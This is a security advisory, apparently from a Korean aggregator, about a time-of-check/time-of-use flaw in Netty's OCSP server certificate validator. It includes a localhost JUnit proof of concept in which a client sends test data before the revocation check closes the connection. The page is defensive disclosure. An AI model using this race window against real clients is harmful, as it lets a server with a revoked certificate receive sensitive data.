Netty: TOCTOU in OcspServerCertificateValidator
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
계획된 패치 주기 내 조치(60일 이내)
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N상세 설명
Summary
Netty's OcspServerCertificateValidator forwards the SslHandshakeCompletionEvent before the asynchronous OCSP validation completes. This allows the client's downstream handlers to send sensitive application data (e.g., HTTP requests) to a revoked server before the channel is closed by the OCSP check.
Details
In io.netty.handler.ssl.ocsp.OcspServerCertificateValidator#userEventTriggered, when an SslHandshakeCompletionEvent is received, the validator immediately calls ctx.fireUserEventTriggered(evt). It then initiates an asynchronous OCSP query using OcspClient.query.
Because the handshake completion event is forwarded immediately, downstream handlers in the client's pipeline are notified that the TLS handshake is successful. They may then begin reading and processing incoming application data or sending outgoing data. If the OCSP response later indicates the server's certificate is REVOKED, the validator closes the channel, but by this time, the client may have already leaked sensitive data to a revoked server or processed malicious responses from it.
PoC
1 @Test 2 public void test() throws Exception { 3 EventLoopGroup group = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory()); 4 try { 5 OCSPRespBuilder respBuilder = new OCSPRespBuilder(); 6 OCSPResp response = respBuilder.build(OCSPRespBuilder.INTERNAL_ERROR, null); 7 byte[] responseEncoded = response.getEncoded(); 8 9 IoTransport mockTransport = IoTransport.create(group.next(), () -> {10 NioSocketChannel channel = new NioSocketChannel();11 channel.pipeline().addFirst(new ChannelOutboundHandlerAdapter() {12 @Override13 public void connect(ChannelHandlerContext ctx, SocketAddress remoteAddress, SocketAddress localAddress, ChannelPromise promise) {14 promise.setSuccess();15 16 ctx.executor().schedule(() -> {17 ctx.pipeline().fireChannelActive();18 19 DefaultFullHttpResponse httpResponse = new DefaultFullHttpResponse(20 HttpVersion.HTTP_1_1, HttpResponseStatus.OK, Unpooled.wrappedBuffer(responseEncoded));21 httpResponse.headers().set(HttpHeaderNames.CONTENT_TYPE, "application/ocsp-response");22 httpResponse.headers().set(HttpHeaderNames.CONTENT_LENGTH, httpResponse.content().readableBytes());23 24 ctx.pipeline().fireChannelRead(httpResponse);25 }, 500, TimeUnit.MILLISECONDS);26 }27 });28 return channel;29 }, NioDatagramChannel::new);30 31 X509Bundle caRoot = new CertificateBuilder()32 .algorithm(CertificateBuilder.Algorithm.rsa2048)33 .subject("CN=TrustedRootCA")34 .setIsCertificateAuthority(true)35 .buildSelfSigned();36 37 GeneralName ocspName = new GeneralName(GeneralName.uniformResourceIdentifier, "http://localhost/");38 AuthorityInformationAccess aia = new AuthorityInformationAccess(new AccessDescription(AccessDescription.id_ad_ocsp, ocspName));39 X509Bundle targetCert = new CertificateBuilder()40 .algorithm(CertificateBuilder.Algorithm.rsa2048)41 .subject("CN=TargetServer")42 .addExtensionOctetString("1.3.6.1.5.5.7.1.1", false, aia.getEncoded())43 .buildIssuedBy(caRoot);44 45 SslContext serverSslCtx = SslContextBuilder.forServer(targetCert.getKeyPair().getPrivate(), targetCert.getCertificate()).build();46 47 CopyOnWriteArrayList<String> receivedData = new CopyOnWriteArrayList<>();48 CountDownLatch dataReceivedLatch = new CountDownLatch(1);49 50 new ServerBootstrap()51 .group(group)52 .channel(NioServerSocketChannel.class)53 .childHandler(new ChannelInitializer<SocketChannel>() {54 @Override55 protected void initChannel(SocketChannel ch) {56 ch.pipeline().addLast(serverSslCtx.newHandler(ch.alloc()));57 ch.pipeline().addLast(new SimpleChannelInboundHandler<ByteBuf>() {58 @Override59 protected void channelRead0(ChannelHandlerContext ctx, ByteBuf msg) {60 receivedData.add(msg.toString(CharsetUtil.UTF_8));61 dataReceivedLatch.countDown();62 }63 });64 }65 })66 .bind(8080)67 .sync()68 .channel();69 70 SslContext clientSslCtx = SslContextBuilder.forClient()71 .trustManager(InsecureTrustManagerFactory.INSTANCE)72 .build();73 74 DnsNameResolver resolver = OcspServerCertificateValidator.createDefaultResolver(mockTransport);75 Channel clientChannel = new Bootstrap()76 .group(group)77 .channel(NioSocketChannel.class)78 .handler(new ChannelInitializer<SocketChannel>() {79 @Override80 protected void initChannel(SocketChannel ch) {81 ch.pipeline().addLast(clientSslCtx.newHandler(ch.alloc(), "127.0.0.1", 8080));82 ch.pipeline().addLast(new OcspServerCertificateValidator(true, false, mockTransport, resolver));83 ch.pipeline().addLast(new ChannelInboundHandlerAdapter() {84 @Override85 public void userEventTriggered(ChannelHandlerContext ctx, Object evt) {86 if (evt instanceof SslHandshakeCompletionEvent) {87 SslHandshakeCompletionEvent sslEvent = (SslHandshakeCompletionEvent) evt;88 if (sslEvent.isSuccess()) {89 ctx.writeAndFlush(Unpooled.copiedBuffer("SECRET_DATA", CharsetUtil.UTF_8));90 }91 }92 ctx.fireUserEventTriggered(evt);93 }94 });95 }96 })97 .connect("127.0.0.1", 8080)98 .sync()99 .channel();100 101 assertTrue(clientChannel.closeFuture().await(5, TimeUnit.SECONDS));102 103 Thread.sleep(200);104 105 assertFalse(receivedData.contains("SECRET_DATA"), "Server should not receive the data.");106 } finally {107 group.shutdownGracefully();108 }109 }Impact
TOCTOU. Client applications relying on OcspServerCertificateValidator to enforce server certificate revocation are impacted. A malicious server with a revoked certificate can successfully establish a TLS connection and receive sensitive application data from the client (or send malicious data to it) during the window between the TLS handshake completing and the asynchronous OCSP check failing.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.